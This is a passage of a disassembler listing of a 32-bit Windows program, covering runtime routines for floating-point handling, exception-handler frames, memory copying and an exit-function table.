sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB9AC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43CF84, offset sub_421935 mov off_43CF80, eax mov off_43CF88, offset sub_42199B mov off_43CF8C, offset sub_4218DB mov off_43CF90, offset sub_421983 mov off_43CF94, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D031+1Bp ; sub_40D031+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07D+82p ; ___:0040DD3Dp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A988 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBA04 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A98C jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A98C mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07D+5p ; sub_40D21F+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B4+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D725+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78C+34p ; sub_40D78C+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DCFFC call sub_422608 mov edx, dword_4DCFFC pop ecx mov ecx, dword_4DCFF8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DCFFC call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DCFF8 sub ecx, dword_4DCFFC mov dword_4DCFFC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DCFF8, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DCFF8, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D879+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DCFFC, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DCFFC pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DCFFC mov dword_4DCFF8, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Cp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 27B015Fh nop lea eax, [ebp+var_20] push eax nop call near ptr 28C0000h mov ax, [ebp+var_16] cmp ax, word_4DB9C2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB9C0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB9BE jnz short loc_41D0E6 mov ax, 